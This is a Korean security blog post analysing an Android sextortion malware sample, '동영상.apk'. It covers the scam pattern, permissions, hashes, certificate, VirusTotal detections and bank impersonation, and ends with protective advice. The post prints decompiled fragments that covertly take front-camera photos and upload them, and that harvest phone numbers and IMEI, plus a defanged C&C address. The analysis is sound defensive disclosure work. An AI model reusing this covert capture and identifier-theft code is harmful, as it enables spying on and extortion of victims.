꿈을꾸는 파랑새

오늘은 안드로이드 몸캠 피싱 안드로이드 악성코드인 동영상에 대해 글을 적어 보겠습니다. 몸캠 피싱이라는 것에 대해 알아보고 시작을 하겠습니다. 몸캠 피싱은 일단 남녀노소 누구나 당할 수가 있습니다. 몸캠 이라는것은 영어로는 sextortion로 부르고 있으며 피해자로부터 성적 호기심 등을 이용해서 몰래 녹화, 녹음을 통해서 금전 및 가상화페등을 요구하는 범죄입니다. 보통 몸캠 하자고 유혹하여 해킹 어플을 설치하게 하거나 해킹 링크로의 접속을 유도하고 상대방에게 노출 사진을 찍게 하게 하고 이것을 스마트폰에 저장된 연락처에 퍼뜨리겠다는 협박을 통해 돈을 뜯어내는 사기 방법입니다.
스마트폰 일단 랜덤 채팅앱을 설치돼 있으며 갑자기 모르는 여자로부터 묻지도 따지지도 않고 스카이프, 라인, 카카오톡 등 영상통화가 가능하고 PC와 스마트폰 간에 연동할 수 있는 앱으로 대화를 이어나가자고 하면 몸캠 피싱일 가능성이 거의 99.9%에 가깝고 기본적인 레퍼토리는 영상통화 서비스를 이용해서 서로 자위하는 모습을 보여주자고 그러거나 그냥 만나자고 해놓고 만나기 전에 영상통화하고 만나자고 하는 방법을 사용하고 있으

 

영상통화를 하면 노출하는 여자의 모습이 나오며 무조건 영상통화에 얼굴도 나와 달라고 요구를 하며 물론 상대 쪽은 전부 다 편집한 영상이고 영상통화를 하다가 영상의 행동이 반복되는 것처럼 느껴질 수 있고 이런저런 목적으로 이제 apk 파일을 보내고 해당 APK 파일을 설치를 실행하면 악성앱이 실행을 하게 되고 악성앱이 실행이 되면 연락처, GPS, 전화권한을 획득해서 악성앱에 삽입이 돼 있는 C&C 서버에 전송하게 돼 있습니다.
일단 기본적으로 해당 악성코드 안드로이드 권한을 보겠습니다.

동영상 악성코드 안드로이드 권한
동영상 악성코드 안드로이드 권한

<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="19"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.FORCE_STOP_PACKAGES"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.BATTERY_STATS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.EXPAND_STATUS_BAR"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.FLASHLIGHT"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
<permission android:name="com.call.call2.andpermission.bridge" android:protectionLevel="signature" android:permissionGroup="com.call.call2.andpermission"/>
<uses-permission android:name="com.call.call2.andpermission.bridge"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>

해당 악성코드의 권한으로 보면 녹음 기능, 걸려오는 전화 받을 수가 있는 권한, 인터넷 접속 권한, 최상단 위치에 뷰 띄우기, 외장 메모리 접근, 연락처 읽기, 연락처 쓰기, 수신전화, 발신전화 정보 획득, 악성코드가 정상적으로 동작하기 위해서 배터리 최적화 무시, 블루투스 접근, 정확한 위치 정보를 획득하기 위한 위치 정보 획득, 카메라 촬영 및 동영상 촬영을 위한 카메라 권한 접근 등을 볼 수가 있으면 사실상 스마트폰의 모든 권한에 접근하는 것을 확인할 수가 있습니다.
그리고 악성코드의 해쉬 값은 다음과 같습니다.

악성코드 카메라 사진 찍기 및 동영상 촬영 코드
악성코드 카메라 사진 찍기 및 동영상 촬영 코드

파일명:동영상.apk
사이즈:6,534,675 Bytes
CRC32:59694279
MD5:27b8858072769c88547211e781e666b7
SHA-1:5565ea64d86bb472748a853f6e303dc155a812fe
SHA-256:9e76af6f11d10ec7b2913e1f4f5116d53e1b617001cbd063c52a67d392f483a6
입니다.

그리고 CERT.RSA 인증서 내용을 보면 다음과 같이 돼 있는 것을 확인할 수가 있습니다.

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            93:6e:ac:be:07:f2:01:df
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android/emailAddress=android@android(.)com
        Validity
            Not Before: Feb 29 01:33:46 2008 GMT
            Not After : Jul 17 01:33:46 2035 GMT
        Subject: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android/emailAddress=android@android(.)com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)

그리고 com.call.call2.service.CameraService 부분에서는 동영상 촬영, 사진 촬영을 위해서 해당 권한들이 들어가져 있는 것을 확인할 수가 있습니다.

private void autoTakePic(SurfaceTexture paramSurfaceTexture) {
    if (this.isRunning)
      return; 
    this.isRunning = true;
    Camera camera = getFacingFrontCamera();
    this.mCamera = camera;
    if (camera == null) {
      Timber.e("camera device is null", new Object[0]);
      this.isRunning = false;
      return;
    } 
    try {
      camera.setPreviewTexture(paramSurfaceTexture);
      this.mCamera.startPreview();
      Thread.sleep(500L);
      takePicture();
      return;
    } catch (Exception exception) {
      exception.printStackTrace();
      this.isRunning = false;
      releaseCamera();
      return;
    } 
  }
  
  private void autoTakePic(SurfaceHolder paramSurfaceHolder) {
    if (this.isRunning)
      return; 
    this.isRunning = true;
    Camera camera = getFacingFrontCamera();
    this.mCamera = camera;
    if (camera == null) {
      Timber.e("camera device is null", new Object[0]);
      this.isRunning = false;
      return;
    } 
    try {
      camera.setPreviewDisplay(paramSurfaceHolder);
      this.mCamera.startPreview();
      Thread.sleep(500L);
      takePicture();
      return;
    } catch (Exception exception) {
      exception.printStackTrace();
      this.isRunning = false;
      releaseCamera();
      return;
    } 
  }
이하 생략하고 
  public void onPictureTaken(byte[] paramArrayOfbyte, Camera paramCamera) {
    releaseCamera();
    this.isRunning = false;
    try {
      Timber.e("拍照成功, new Object[0]);
      BitmapFactory.Options options = new BitmapFactory.Options();
      options.inJustDecodeBounds = true;
      BitmapFactory.decodeByteArray(paramArrayOfbyte, 0, paramArrayOfbyte.length, options);
      int i = calculateInSampleSize(options);
      options.inJustDecodeBounds = false;
      options.inSampleSize = i;
      Bitmap bitmap = BitmapFactory.decodeByteArray(paramArrayOfbyte, 0, paramArrayOfbyte.length, options);
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      bitmap.compress(Bitmap.CompressFormat.JPEG, 75, byteArrayOutputStream);
      byte[] arrayOfByte = byteArrayOutputStream.toByteArray();
      String str = Environment.getExternalStorageDirectory().getPath();
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append(System.currentTimeMillis());
      stringBuilder.append(".jpeg");
      File file = new File(str, stringBuilder.toString());
      this.saveFile = file;
      if (!file.exists())
        this.saveFile.createNewFile(); 
      if (savePic(arrayOfByte, this.saveFile)) {
        uploadFile(this.saveFile);
        return;

카메라 권한에 포함이 된 중국어
카메라 권한에 포함이 된 중국어

에 보면 중국어인 拍照成功 이라는 내용이 포함된 것을 확인할 수가 있습니다. 拍照成功->성공적으로 사진 찍기(구글 번역기 사용)

악성코드 전화번호 탈취
악성코드 전화번호 탈취

com.call.call2.utils.SystemUtils 에서는 6월16일에 적은 몸캠 피싱 하고 동일 인물이 만들었는지 같은 코드가 눈에 들어 왔습니다.

public static String getPhoneNumber(Context paramContext) {
    String str = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
    null = str;
    if (!TextUtils.isEmpty(str)) {
      if (!str.startsWith("+86")) {
        null = str;
        return str.startsWith("+82") ? str.substring(3) : null;
      } 
    } else {
      return null;
    } 
    return str.substring(3);
  }
  
  public static long getRamFree() {
    return getRamInfo()[1];
  }

그리고 그리고 未知 구글 번역기 돌려서 보니 알 수 없는 뜻이라고 하는 중국어가 눈에 들어 왔습니다.
그리고 if (!str.startsWith("+86")) 보면 국가번호로 추정되는 것을 보면 중화인민공화국(중국)의 국가 코드가 보이는 것을 확인할 수가 있습니다.
그리고 androidx.core.telephony.TelephonyManagerCompat 에서는 스마트폰의 IMEI 정보를 획득하기 위한 코드들이 준비돼 있습니다.

IMEI 정보 탈취
IMEI 정보 탈취

public static String getImei(TelephonyManager paramTelephonyManager) {
    if (Build.VERSION.SDK_INT >= 26)
      return Api26Impl.getImei(paramTelephonyManager); 
    if (Build.VERSION.SDK_INT >= 22) {
      int i = getSubscriptionId(paramTelephonyManager);
      if (i != Integer.MAX_VALUE && i != -1) {
        i = SubscriptionManagerCompat.getSlotIndex(i);
        if (Build.VERSION.SDK_INT >= 23)
          return Api23Impl.getDeviceId(paramTelephonyManager, i); 
        try {
          if (sGetDeviceIdMethod == null) {
            Method method = TelephonyManager.class.getDeclaredMethod("getDeviceId", new Class[] { int.class });
            sGetDeviceIdMethod = method;
            method.setAccessible(true);
          } 
          return (String)sGetDeviceIdMethod.invoke(paramTelephonyManager, new Object[] { Integer.valueOf(i) });
        } catch (NoSuchMethodException|IllegalAccessException|InvocationTargetException noSuchMethodException) {
          return null;
        } 
      } 
    } 
    return noSuchMethodException.getDeviceId();
  }
이하 생략
 public static String getImei(TelephonyManager paramTelephonyManager) {
    if (Build.VERSION.SDK_INT >= 26)
      return Api26Impl.getImei(paramTelephonyManager); 
    if (Build.VERSION.SDK_INT >= 22) {
      int i = getSubscriptionId(paramTelephonyManager);
      if (i != Integer.MAX_VALUE && i != -1) {
        i = SubscriptionManagerCompat.getSlotIndex(i);
        if (Build.VERSION.SDK_INT >= 23)
          return Api23Impl.getDeviceId(paramTelephonyManager, i); 
        try {
          if (sGetDeviceIdMethod == null) {
            Method method = TelephonyManager.class.getDeclaredMethod("getDeviceId", new Class[] { int.class });
            sGetDeviceIdMethod = method;
            method.setAccessible(true);
          } 
          return (String)sGetDeviceIdMethod.invoke(paramTelephonyManager, new Object[] { Integer.valueOf(i) });
        } catch (NoSuchMethodException|IllegalAccessException|InvocationTargetException noSuchMethodException) {
          return null;
        } 
      } 
    } 
    return noSuchMethodException.getDeviceId();
  }

 

그리고 악성코드에 포함된 URL은 여러 가지가 있지만, 핵심적인 주소는 com.call.call2.http.RetrofitClient,com/call/call2/Constants.BASE_URL,com/call/call2/service/SocketClient.initSocket다음과 같습니다.

악성코드 C&C 주소
악성코드 C&C 주소

hxxp://156.234.25(.)249:7788

입니다.
바이러스토탈(VirusTotal)2021-06-20 02:32:11 UTC 기준으로 탐지되는 보안 업체 들은 다음과 같습니다.
AegisLab:Trojan.AndroidOS.Wroba.C!c
AhnLab-V3:Trojan/Android.Kaishi.1020239
Alibaba:TrojanBanker:Android/Wroba.82424231
Antiy-AVL:Trojan/Generic.ASMalwAD.1E
Avast-Mobile:APK:RepSandbox [Trj]
Avira (no cloud):ANDROID/Wroba.FJPG.Gen
BitDefenderFalx:Android.Riskware.Agent.JCA
CAT-QuickHeal:Android.Wroba.A5bd0
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.717.origin
ESET-NOD32:A Variant Of Android/Spy.Banker.AQK
Ikarus:Trojan.AndroidOS.Banker
K7GW:Spyware ( 0056a5821 )
Kaspersky:HEUR:Trojan-Banker.AndroidOS.Wroba.aw
McAfee:Artemis!27B885807276
McAfee-GW-Edition:Artemis
Microsoft:Trojan:Script/Wacatac.B!ml
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AdLibrary:Generisk
Tencent:A.privacy.KbsoftBanking
Trustlook:Android.PUA.DebugKey
ZoneAlarm by Check Point:HEUR:Trojan-Banker.AndroidOS.Wroba.aw

NH 농협은행 사칭
NH 농협은행 사칭

입니다. 그리고 파일을 열어 보니 은행 보이스피싱 일당이 사용을 하는 가짜 은행 거래 모습, 그리고 여신상담사가 들어가 져 있는데 한쪽은 NH 농협 하나는 롯데 캐피탈이 들어가 져 있었고 그리고 당연히 가짜 
경찰청 폴-안티스파이 3.0이 UI가 들어가 져 있는 것과 그리고 예쁜 여자분들 사진이 들어가 져 있는 것을 확인할 수가 있었습니다.

보안업체에서는 전화금융사기 을로 탐지하고 있고 농협이 아닌 가짜 KB국민은행으로 보아서 그냥 잡탕인 것 같은 느낌이 듭니다.

악성코드 에 포함된 여자 사진들
악성코드 에 포함된 여자 사진들

요약
1. 구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2. 공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3. 구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4. 전화금융사기 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5. 소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band